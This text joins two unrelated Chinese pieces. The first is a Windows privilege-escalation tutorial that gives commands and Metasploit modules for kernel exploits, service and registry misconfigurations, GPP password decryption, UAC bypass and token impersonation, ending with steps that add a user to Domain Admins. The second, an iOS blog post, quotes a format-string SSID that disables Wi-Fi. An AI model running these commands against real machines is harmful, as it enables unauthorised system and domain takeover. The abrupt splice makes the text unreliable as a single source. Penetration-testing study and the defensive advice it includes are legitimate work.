如我們已經(jīng)獲得了一個Windows系統(tǒng)的普通用戶權(quán)限,由于低權(quán)限用戶的很多操作將受到限制。所以,我們會想方設法地將低權(quán)限用戶提權(quán)到高權(quán)限用戶。例如,從 Webshell(apache)、數(shù)據(jù)庫權(quán)限——>系統(tǒng)普通用戶權(quán)限——>Administrator權(quán)限——>System權(quán)限。反正,我們的最終目的就是拿到該主機的最高權(quán)限。
Windows內(nèi)核溢出漏洞提權(quán)通過系統(tǒng)本身存在的一些漏洞,未曾打相應的補丁而暴露出來的提權(quán)方法,依托可以提升權(quán)限的EXP和它們的補丁編號,進行提升權(quán)限 本地溢出提權(quán)首先要有服務器的一個普通用戶權(quán)限,攻擊者通常會向服務器上傳本地溢出程序,在服務器端執(zhí)行,如果系統(tǒng)存在漏洞,那么將溢出Administrator權(quán)限。 github上windows系統(tǒng)溢出漏洞提權(quán)的匯總:https://github.com/SecWiki/windows-kernel-exploits
實戰(zhàn)中最常用的本地溢出提權(quán)有 CVE-2018-8120、MS16-032、MS15-051 和 MS14-058 。
在MSF中,最常用的提權(quán)模塊是CVE-2018-8120;
在CobaltStrike中,最常用的提權(quán)模塊的是 MS14-058。這四個提權(quán),都有對應的exe程序。exe程序均支持32和64位的機器。
手工查找補丁情況
systeminfo Wmic qfe get Caption,Description,HotFixID,InstalledOn wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4131188" #直接找是否存在cve-2018-8120對應的KB4131188補丁
可以看到只安裝了3個補丁
WMIC是Windows Management Instrumentation Command-line的簡稱,它是一款命令行管理工具,提供了從命令行接口到批命令腳本執(zhí)行系統(tǒng)管理的支持,可以說是Windows平臺下最有用的命令行工具。使用WMIC,我們不但可以管理本地計算機,還可以管理統(tǒng)一局域網(wǎng)內(nèi)的所有遠程計算機(需要必要的權(quán)限),而被管理的計算機不必事先安裝WMIC
利用Metasploit發(fā)現(xiàn)缺失補丁
利用post/windows/gather/enum_patches 模塊 可以根據(jù)漏洞編號快速找出系統(tǒng)中缺少的補丁
設置獲取的session即可運行
MSF下還提供了 post/multi/recon/local_exploit_suggester 模塊,該模塊用于快速識別系統(tǒng)中可能被利用的漏洞
Windows Exploit Suggester
該工具可以將系統(tǒng)中已經(jīng)安裝的補丁程序與微軟的漏洞數(shù)據(jù)庫進行比較,并可以識別可能導致權(quán)限提升的漏洞,而其只需要目標系統(tǒng)的信息。
#更新漏洞數(shù)據(jù)庫,會生成一個xls的文件,如下 2020-11-11-mssb.xls python windows-exploit-suggester.py --update #查看目標主機系統(tǒng)信息,保存為sysinfo.txt文件 systeminfo > sysinfo.txt #然后運行如下命令,查看該系統(tǒng)是否存在可利用的提權(quán)漏洞 python windows-exploit-suggester.py -d 2020-11-11-mssb.xls -i sysinfo.txt
漏洞復現(xiàn)
選擇利用模塊攻擊
search cve-2018-8120
可以看到找到了一個漏洞利用Exploit模塊,我們使用該模塊
use exploit/windows/local/ms18_8120_win32k_privesc
設置 session 為我們剛剛獲得權(quán)限的 session ID,run運行。
可以看到,我們獲得了 System 權(quán)限。
Windows在系統(tǒng)啟動時,會伴隨著一些高權(quán)服務啟動(windows服務是以system權(quán)限運行的)倘若某些服務存在一些漏洞,那么就能夠借此服務進行權(quán)限劫持,例如DLL劫持
1.系統(tǒng)服務權(quán)限配置錯誤
windows系統(tǒng)服務文件在操作系統(tǒng)啟動時加載執(zhí)行,并在后臺調(diào)用可執(zhí)行文件。如果一個低權(quán)限的用戶對此類系統(tǒng)服務調(diào)用的可執(zhí)行文件擁有寫權(quán)限,那么就可以替換該文件,并隨著系統(tǒng)啟動獲得控制權(quán)限。 windows服務是以system權(quán)限運行的,其文件夾、文件和注冊表key-value都是受強制訪問控制保護的。但是在某些情況下,操作系統(tǒng)中依然存在一些沒有得到有效保護的服務。
利用方式
1.Powershell中的PowerUp腳本 https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 加載模塊并執(zhí)行 列出可能存在問題的所有服務 分析能否利用 2.Metasploit中的攻擊模塊 exploit/windows/local/service_permissions service_permissions模塊會使用 兩種方式獲取system權(quán)限 如果以管理員權(quán)限運行 會嘗試創(chuàng)建并運行一個新的服務 如果當前權(quán)限不允許創(chuàng)建服務 會判斷哪些服務的文件或文件夾的權(quán)限有問題 并對其進行劫持 在劫持服務時會創(chuàng)建一個可執(zhí)行程序 其文件名和安裝路徑都是隨機的
2.注冊表鍵AlwaysInstallElevated
允許低權(quán)限用戶以System權(quán)限安裝文件。如果啟用此策略設置項,那么任何權(quán)限的用戶都以NT Authority\System權(quán)限來安裝惡意的MSI文件。 windows install是windows操作系統(tǒng)的組件之一,專門用來管理配置軟件服務。它除了是一個安裝程序,還用于管理軟件的安裝、組件的添加、刪除、監(jiān)視文件的還原、通過回滾進行災難恢復。windows install通過msiexec.exe安裝MSI文件,雙擊MSI文件就會運行msiexec.exe。 原理:是因為用戶打開了windows installer 特權(quán)安裝功能
利用方式
1.powerup下的Get-RegistryAlwaysInstallElevated模塊檢查注冊表鍵是否被設置 如果被設置則意味MSI文件是以system權(quán)限下能運行 2.Metasploit的exploit/windows/local/always_install_elevated模塊 該模塊會創(chuàng)建一個文件名隨機的MSI文件 并在提權(quán)后刪除所有已部署的文件
可以看到成功提權(quán)
只要禁用注冊表鍵AlwaysInstallElevated 就可以阻止攻擊者通過MSI文件進行提權(quán)
3、可信任服務路徑漏洞
利用了windows文件路徑解析的特性,如果一個服務調(diào)用的可執(zhí)行文件沒有正確處理所引用的完整路徑名,這個漏洞就會被攻擊者用來上傳任意可執(zhí)行文件。如果一個被適當命名的可執(zhí)行文件(木馬)被上傳到受影響的目錄中 服務一旦重啟 該程序就會以system權(quán)限運行 通俗的說,如果一個服務的可執(zhí)行文件的路徑(帶空格)沒有被雙引號引起來,那么這個服務就有漏洞。
尋找存在漏洞的服務
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\" | findstr /i /v """ 檢測是否有對目標文件夾的寫權(quán)限 可以使用icacls 工具 如果確認目標機器存在此漏洞 把我們的木馬上傳到目并重命名 重啟服務 sc stop service_name sc start service_name 可以直接使用metasploit中的 exploit/windows/local/trusted_service_path模塊 正常接收到會話后,不久就會自動斷開連接,需要開啟命令自動遷移進程 set AutoRunScript migrate -f
上述表示沒有可利用的漏洞
將文件路徑用引號引起來 就不會出現(xiàn)問題
4、自動安裝配置文件
網(wǎng)絡管理員在內(nèi)網(wǎng)中給多臺機器配置同一個環(huán)境時,通常不會逐個配置,而是使用腳本批量部署。在這個過程中,會使用安裝配置文件。這些文件中包含所有的安裝配置信息,其中一些還可能包含管理員賬號和密碼。
Metasploit集成了漏洞利用模塊
post/windows/gather/enum_unattend
5、計劃任務
可以使用如下命令查看計算機計劃任務
schtasks /query /fo LIST /v
AccessChk用于在windows中進行一些高級查詢、管理和故障排除工作。由于它是微軟官方提供的工具,所以殺毒軟件不會有告警。如果黑客對以高權(quán)限運行的任務,所在的目錄具有寫權(quán)限,那么就可以使用惡意程序覆蓋原有的程序。這樣,在計劃任務下次執(zhí)行的時候,就會以高權(quán)限運行惡意程序。
通過AccessChk查看指定目錄的權(quán)限配置情況:
accesschk64.exe -dqv "C:\Program Files (x86)" -accepteula
常用命令
accesschk64.exe /accepteula 第一次運行SysInternals工具包里的工具時 會彈出一個許可協(xié)議對話框 使用accepteula參數(shù)自動接受許可協(xié)議
accesschk64.exe -uwdqsUsers C:\ 查看某個驅(qū)動器下所有「權(quán)限配置」有問題的文件夾:
accesschk64.exe -uwdqsUsers c:\*.* 查看某個驅(qū)動器下所有「權(quán)限配置」有問題的文件:
PowerUp.ps1腳本的使用
PowerUp.ps1腳本是 Privsec 目錄下的一個腳本,功能非常強大。擁有很多用來尋找目標主機Windows服務配置錯誤來進行提權(quán)的模塊。當我們無法通過 windows 內(nèi)核漏洞進行提權(quán)的話,這個時候我們就可以利用該腳本來尋找目標主機上Windows服務配置錯誤來進行提權(quán),或者利用常見的系統(tǒng)服務,通過其繼承的系統(tǒng)權(quán)限來完成提權(quán)。
Invoke-Allchecks模塊
powershell -exec bypass -c import-module .\PowerUp.ps1;Invoke-Allchecks -verbose
運行該腳本,該腳本會自動檢查PowerUp.ps1下所有的模塊,并在存在漏洞利用的模塊下的AbuseFunction中直接給出利用方法
SYSVOL
SYSVOL是活動目錄里面的一個用于存儲域公共文件服務器副本的共享文件夾,在域中的所有域控制器之間進行復制。SYSVOL文件夾是在安裝活動目錄時自動創(chuàng)建的,主要用來存放登錄腳本、組策略數(shù)據(jù)及其他域控制器需要的域信息等。
SYSVOL在所有經(jīng)過身份驗證的域用戶或者域信任用戶具有讀權(quán)限的活動目錄的域范圍內(nèi)共享。整個SYSVOL目錄在所有的域控制器中是自動同步和共享的,所有的域策略均存放在 C:WindowsSYSVOLDOMAINPolicies 目錄中。
在一般的域環(huán)境中,所有機器都是腳本化批量部署的,數(shù)據(jù)量通常很大。為了方便地對所有的機器進行操作,網(wǎng)絡管理員往往會使用域策略進行統(tǒng)一的配置和管理。大多數(shù)組織在創(chuàng)建域環(huán)境后,會要求加入域的計算機使用域用戶密碼進行登錄驗證。為了保證本地管理員密碼的安全性,這些組織的網(wǎng)絡管理員往往會修改本地管理員密碼。
盡管如此,安全問題依舊存在。通過組策略統(tǒng)一修改的密碼,雖然強度有所提高,但所有機器的本地管理員密碼是相同的。攻擊者獲得了一臺機器的本地管理員密碼,就相當于獲得了整個域中所有機器的本地管理員密碼。
常見的組策略首選項(Group Policy Preferences,GPP)列舉如下
映射驅(qū)動器(Drives.xml)
創(chuàng)建本地用戶
數(shù)據(jù)源(DataSources.xml)
打印機配置(Printers.xml)
創(chuàng)建、更新服務(Services.xml)
計劃任務(ScheduledTasks.xml)
組策略首選項提權(quán)分析
1:創(chuàng)建組策略,批量修改域中機器的本地管理員密碼
在域控上執(zhí)行:開始——>運行——>輸入 gpmc.msc ——>選擇kevin.com——>右鍵組策略對象——>新建,我這里新建一個test組策略
右鍵剛剛新建的組策略,編輯
會彈出一個組策略管理編輯器,然后 計算機配置——>首選項——>控制面板設置——>本地用戶和組
右鍵本地用戶和組——>新建——>本地用戶
我們將域中每個計算機的本地密碼設置成 qwer123456.
然后將Domain Computers添加到組策略應用的組中
強制更新組策略
gpupdate /foce
2:獲取組策略的憑據(jù)
管理員在域中新建一個組策略后,操作系統(tǒng)會自動在SYSVO共享目錄中生成一個XML文件,該文件中保存了該組策略更新后的密碼。該密碼使用AES-256加密算法,安全性還是比較高的。但是,2012年微軟在官方網(wǎng)站上公布了該密碼的私鑰,導致保存在XML文件中的密碼的安全性大大降低。任何域用戶和域信任的用戶均可對該共享目錄進行訪問,這就意味著,任何用戶都可以訪問保存在XML文件中的密碼并將其解密,從而控制域中所有使用該賬號、密碼的本地管理員計算機。在SYSVOL中搜索,可以找到Groups.xml文件。找到其中的cpassword字段,該字段是用AES-256算法加密的,
qwer123456.加密后的密文7ud2rxJhwxT5iaNrNltLxQcQ1hNN2cmCgxha3Faj4YA
使用PowerShell獲取cpassword
PowerSploit中的Get-GPPPassword.ps1腳本可以獲取組策略中的密碼。注意,我們只需要在域內(nèi)任何一臺以域用戶權(quán)限登錄的機器上均可查詢到。
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
使用MSF獲取cpassword
MSF中 post/windows/gather/credentials/gpp 模塊可以獲取組策略中的密碼。注意,我們只需要獲取域內(nèi)任何一臺以域用戶權(quán)限登錄的機器的權(quán)限即可。
針對組策略首選項提權(quán)的防御措施
在用于管理組策略的計算機上安裝 KB2962486補丁,防止新的憑據(jù)被放置在組策略首選項中。微軟在2014年修復了組策略首選項提權(quán)漏洞,使用的方法就是不再將密碼保存在組策略首選項中。
此外,針對Everyone訪問權(quán)限進行設置,具體如下:
設置共享文件夾SYSVOL的訪問權(quán)限
將包含組策略密碼的 XML 文件從 SYSVOL 目錄中刪除
不要把密碼放在所有域用戶都有權(quán)訪問的文件中
如果需要更改域中機器的本地管理員密碼,建議使用LAPS
0x04 繞過UAC提權(quán)
UAC(User Account Control,用戶賬號控制)是微軟為了提高系統(tǒng)安全性在Windows Vista中引入的技術(shù)。
UAC要求用戶在執(zhí)行可能影響計算機運行的操作或在進行可能影響其他用戶的設置之前,擁有相應的權(quán)限或者管理員密碼。UAC在操作啟動前對用戶身份進行驗證,以避免惡意軟件和間諜軟件在未經(jīng)許可的情況下在計算機上進行安裝操作或者對計算機設置進行更改。
在Windows Vista及以后的版本中,微軟設置了安全控制策略,分為高、中、低三個等級。高等級的進程有管理員權(quán)限;中等級的進程有普通用戶權(quán)限;低等級的進程,權(quán)限是有限的,以保證系統(tǒng)在受到安全威脅時造成的損害最小。
在權(quán)限不夠的情況下,訪問系統(tǒng)磁盤的根目錄、Windows目錄,以及讀寫系統(tǒng)登錄數(shù)據(jù)庫等操作,都需要經(jīng)常UAC(User Account Control,用戶賬號控制)的認證。
需要UAC的授權(quán)才能進行的操作列表如下:
配置Windows Update 增加、刪除賬戶 更改賬戶類型 更改UAC的設置 安裝ActiveX 安裝、卸載程序 安裝設備驅(qū)動程序 將文件移動/復制到Program Files或Windows目錄下 查看其它用戶的文件夾
UAC有如下四種設置要求:
始終通知:這是最嚴格的設置,每當有程序需要使用高級別的權(quán)限時都會提示本地用戶 僅在程序試圖更改我的計算機時通知我:這是UAC的默認設置。當本地Windows程序要使用高級別的權(quán)限時,不會通知用戶。但是,當?shù)谌匠绦蛞褂酶呒墑e的權(quán)限時,會提示本地用戶 僅在程序試圖更改我的計算機時通知我(不降低桌面的亮度):與上一條設置的要求相同,但在提示用戶時不降低桌面的亮度 從不提示:當用戶為系統(tǒng)管理員時,所有程序都會以最高權(quán)限運行
MSF下實戰(zhàn)利用
Bypassuac提權(quán)的MSF模塊
use exploit/windows/local/bypassuac #該模塊將通過進程注入,利用受信任的發(fā)布者證書繞過Windows UAC。該模塊運行時會因為在目標機上創(chuàng)建多個文件而被殺毒軟件識別,因此通過該模塊提權(quán)成功率很低。
use exploit/windows/local/bypassuac_injection #該模塊直接運行在內(nèi)存的反射DLL中(內(nèi)存注入),所以不會接觸目標機器的硬盤,從而降低了被殺毒軟件檢測出來的概率。
use exploit/windows/local/bypassuac_fodhelper #該模塊通過FodHelper注冊表項,通過在當前用戶配置單元下劫持注冊表中的特殊鍵,并插入將在啟動Windows fodhelper.exe應用程序時調(diào)用的自定義命令來繞過Windows 10 UAC。它將為我們生成另一個關(guān)閉UAC的shell。雖然該模塊修改了注冊表,但它會在調(diào)用payload后清除該鍵。相比之前的模塊,該模塊對架構(gòu)系統(tǒng)并無特別要求。如果指定EXE::Custom DLL,則應在單獨的進程中啟動payload后調(diào)用ExitProcess()。
use exploit/windows/local/bypassuac_eventvwr #Windows提權(quán)UAC保護繞過(通過Eventvwr注冊表項)
use exploit/windows/local/bypassuac_comhijack #Windows提權(quán)UAC保護繞過(COM處理程序劫持) 此模塊將通過在HKCU配置單元中,創(chuàng)建COM處理程序注冊表項來繞過Windows UAC。當加載某些高完整性進程時將會引用這些注冊表項,從而導致進程加載用戶控制的DLL。這些DLL中包含了可提升權(quán)限的payload。在調(diào)用payload后該模塊將會清除該鍵。該模塊的使用需要選擇正確的架構(gòu),但在當前低權(quán)限的Meterpreter session下架構(gòu)可以不同。如果指定EXE::Custom DLL,則應在單獨的進程中啟動payload后調(diào)用ExitProcess()。該模塊需要通過目標系統(tǒng)上的cmd.exe來調(diào)用目標二進制文件,因此如果限制cmd.exe訪問,則此模塊將無法正常運行。
MSF中Bypassuac模塊的使用前提有兩個
一是系統(tǒng)當前用戶必須在管理員組中 二是用戶賬戶控制程序UAC設置為默認,即 “僅在程序試圖更改我的計算機時通知我”
這里獲取的kevin用戶在管理員組中,且 UAC設置為默認
使用use exploit/windows/local/bypassuac_injection模塊,連續(xù)攻擊兩次都失敗。提示32位的目標攻擊64位的系統(tǒng),但是我這里是使用的64位的target,也還是失敗
使用exploit/windows/local/bypassuac_eventvwr則提權(quán)成功
Runas模塊
使用 exploit/windows/local/ask 模塊,需要使用 EXE::Custom 選項創(chuàng)建一個可執(zhí)行文件(需要免殺),目標機器會運行一個發(fā)起提升權(quán)限請求的程序,提示用戶是否要繼續(xù)運行,如果用戶選擇繼續(xù)運行程序,就會返回一個高權(quán)限的shell。
使用該模塊的前提:
當前用戶必須在管理員組中 或 知道管理員的密碼,對UAC的設置則沒有要求。 用戶需要手動點擊彈出的程序,是
Nishang中的Invoke-PsUACme.ps1
Invoke-PsUACme模塊使用來自UACME項目的DLL繞過UAC。
Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -verbose #使用sysprep方法并執(zhí)行默認的payload Import-Module .\Invoke-PsUACme.ps1;Invoke-PsUACme -method oobe -verbose #使用oobe方法并執(zhí)行默認的payload
可以看到成功添加hack用戶 沒有提示拒絕訪問(普通用戶權(quán)限會提示拒絕訪問)
針對繞過UAC提權(quán)的防御措施
在企業(yè)網(wǎng)絡環(huán)境中,防止繞過UAC的最好方法是不讓內(nèi)網(wǎng)機器的使用者擁有本地管理員權(quán)限,從而降低系統(tǒng)遭受攻擊的可能性。
使用本地管理員權(quán)限登錄的用戶,要將UAC設置為“始終通知”或者刪除該用戶的本地管理員權(quán)限(這樣設置后,會像在Windows Vista中一樣,總是彈出警告)。
令牌(token)是系統(tǒng)的臨時密鑰,相當于賬號和密碼,用來決定是否允許這次請求和判斷這次請求是屬于哪一個用戶的。它允許你在不提供密碼或其他憑證的前提下,訪問網(wǎng)絡和系統(tǒng)資源,這些令牌將持續(xù)存在于系統(tǒng)中,除非系統(tǒng)重新啟動。令牌最大的特點就是隨機性,不可預測,黑客或軟件無法猜測出令牌。
假冒令牌可以假冒一個網(wǎng)絡中的另一個用戶進行各類操作。所以當一個攻擊者需要域管理員的操作權(quán)限時候,需要通過假冒域管理員的令牌進行攻擊。
令牌分類
訪問令牌(Access Token):表示訪問控制操作主體的系統(tǒng)對象 會話令牌(Session Token):是交互會話中唯一的身份標識符。 密保令牌(Security Token):又叫做認證令牌或硬件令牌,是一種計算機身份校驗的物理設備,例如U盾
Windows的AccessToken有兩種類型:
Delegation Token:授權(quán)令牌,它支持交互式會話登錄(例如本地用戶直接登錄、遠程桌面登錄訪問) Impresonation Token:模擬令牌,它是非交互的會話(例如使用net use訪問共享文件夾)
Windows Access Token產(chǎn)生過程
每個進程創(chuàng)建時都會根據(jù)登錄會話權(quán)限由LSA(Local Security Authority)分配一個Token(如果CreaetProcess時自己指定了 Token, LSA會用該Token, 否則就用父進程Token的一份拷貝。
AccessToken的竊取與利用
AccessToken的竊取與利用需要administrator管理員組權(quán)限。 竊取AccessToken的數(shù)量: incognito.exe程序 > InvokeTokenManipulat.ps1腳本 > MSF里的incognito模塊
1:程序 incognito.exe
程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
AccessToken的列舉(需要administrator權(quán)限)
incognito.exe list_tokens -u
模擬其他用戶的令牌
incognito.exe execute -c "完整的Token名" cmd.exe 例如:模擬system權(quán)限用戶 incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
2.Invoke-TokenManipulation.ps1腳本
這個腳本是PowerSploit下Exfiltration文件夾內(nèi)的一個腳本
使用命令如下:
列舉token Invoke-TokenManipulation -Enumerate 提權(quán)至system Invoke-TokenManipulation -CreateProcess "cmd.exe" -username "nt authority\system" 復制進程token Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 復制線程token Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
3:MSF下的incognito模塊
需要administrator權(quán)限
use incognito #加載incognito list_tokens -u #列出AccessToken impersonate_token "NT AUTHORITY\SYSTEM" #模擬system用戶,getsystem命令即實現(xiàn)了該命令。如果要模擬其他用戶,將token名改為其他用戶即可 rev2self #返回到之前的AccessToken權(quán)限 域內(nèi)的話可以添加域用戶并添加進域管理組進行敏感操作 add_user hack qwer123456! -h 192.168.13.132 add_group_user "Domain Admins" hack -h 192.168.13.132
Windows Access Token令牌假冒防御
禁止Domain Admins登錄對外且未做安全加固的服務器,因為一旦服務器被入侵,域管理員的令牌可能會被攻擊者假冒,從控制DC。
如果想清除假冒,重啟服務器即可。
都說iOS 是目前最穩(wěn)定,最安全,最省心的手機操作系統(tǒng),真的是這樣嗎?
打開百度APP看高清圖片
這個果子暫時持 “ 保留” 的觀點。
首先是安全,對于果子我來說,只要不亂下載東西及亂跳彈窗,就算安全,反正 iCloud 我也不存資料。
而穩(wěn)定,自 iOS 11 后,iOS 的穩(wěn)定性就一直是個迷,iOS 11 公認最差勁的 iOS ,iOS 12 又好起來。
iOS 13 及目前的 14 ,說不上太好,但也說不上很差,就是沒有 iOS 10 之前的版本用的舒服。
至于省心,我想更多的原因歸結(jié)于 “ 卡,崩,死” 三項!
不用做任何優(yōu)化及安裝多余的 App ,就能維持相對的流暢,這或許也是 iOS 足夠省心的一個原因。
不過現(xiàn)在國產(chǎn)手機廠商的各種 “底層 ” 魔改優(yōu)化,省心這方面也不輸 iOS 。
反觀 iOS 最近的幾代版本一直被噴。
有些漏洞及功能一直沒有完善。
比如 iOS 最近最新的 “ WiFi” Bug !
它能一直讓你打不開WiFi,甚至 AirDrop !
重啟都沒用的那種。
不過也是,AirDrop 的傳輸條件就是需要 WiFi ,現(xiàn)在 WiFi 罷工了,AirDrop 怎么可能正常工作。
那么你們可能會好奇,為什么我們現(xiàn)在沒有碰上這種情況呢?
原因很簡單,既然是漏洞,是 Bug 。
那么肯定需要特定的 “ 觸發(fā)條件” 。
而這個觸發(fā)條件也非常簡單:
只需將 WiFi 路由器的 SSID(WiFi 名稱)改為 “ %p%s%s%s%s%n”
隨后連接
就會發(fā)現(xiàn) iPhone 會自動重啟,重啟過后 WiFi 就再也打不開了!
AirDrop 等凡是依靠 WiFi 類的功能,一樣都處于自動關(guān)閉的階段。
就算把 WiFi 的名稱再改為正常,重啟等手段也一樣無濟于事。
根據(jù)外網(wǎng)一位名叫 Carl Schou 的工程師描述:
他第一次測試使用的是 iOS 14.4.2 ,隨后他升級為最新的 iOS 14.6 ,不過這個問題一直沒有得到蘋果的修復跟解決。
再經(jīng)他在網(wǎng)上公布之后,也有許多網(wǎng)友冒險嘗試,情況都基本一致。
有的小伙伴不會說打不開,而是根本無法加入這個網(wǎng)絡。
蘋果自家的 Mac及安卓機型,則沒有這個問題。
看來是 iOS 專享啊!
那么問題來了!
為什么 iPhone 的機型連接了,就會出現(xiàn)這樣的問題呢?
看到 Schou 推文的其他安全工程師認為:
是 iPhone 對 WiFi 名稱的解析出現(xiàn)問題導致了這個錯誤。
也就是說 iPhone 會將未經(jīng)過濾的 “ %” 之類的 WiFi 名稱傳遞給一些執(zhí)行格式化字符串的內(nèi)部庫。
而這會導致任意的內(nèi)存寫入和緩沖區(qū)溢出,從而破壞內(nèi)存數(shù)據(jù)。
說白了 iPhone 沒有把 “ %p%s%s%s%s%n” 理解成普通文字,而是當成了特殊字符串來處理。
最終出于安全保護機制則禁止用戶去使用 WiFi 網(wǎng)絡。
iPhone 的 “ 錯誤日志” 也證明了這一點。
不過果子想應該沒有人會用這樣的 WiFi 名稱,所以大家也不必擔心會變成這種情況。
要是真的有的小伙伴不小心陷入這種情況,只需在設置——通用——還原中找到——還原網(wǎng)絡設置。
重新還原一遍網(wǎng)絡設置就可以啦!
而至于為什么上述的 Carl Schou 會用到這樣的名字發(fā)現(xiàn)這樣的問題,單純是他工作的原因。
還是不建議大家去連接甚至模仿這樣的行為,要是在外面看到有 “ %” 號的 WiFi 。
也不要去連接,因為帶有這個符號的 WiFi 往往可能不安全甚至會出現(xiàn)上述的情況。
還是非常危險的。
當然!其實這也不是 iOS 第一次因為 “ 字符” 問題引起死機,無響應,功能休眠等情況。
此前由意大利國旗 Emoji和一串信德文(南亞巴基斯坦信德人語言)組成的字符就成功將 iOS 直接弄崩潰。
這個字符 Bug 也在 iOS 中存活了很長一段時間,直至當時最新的 iOS 13.4.5 才解決了這個問題。
還有 “ 黑點” Bug 等種種字符文本類漏洞,此前也流行過很長一段時間。
其中包含了大量不可見的 Unicode字符,這些字符會導致 CPU 在處理時負載過高。
在發(fā)送后就能讓 iPhone 和 iPad 直接卡死或崩潰。
總的來說,無論是現(xiàn)在或是以后,“ 字符類” 漏洞依舊會存在于系統(tǒng)中。
我們能做的,就是不去碰,不去試,等著 iOS 版本的更新去解決這樣的問題。
當然,蘋果被“黑”是常態(tài)了,這家國產(chǎn)巨頭被“黑”才是“慘”:
今天,我一定要“黑”這家國產(chǎn)巨頭!
圖片及資料來源: 量子位,Baidu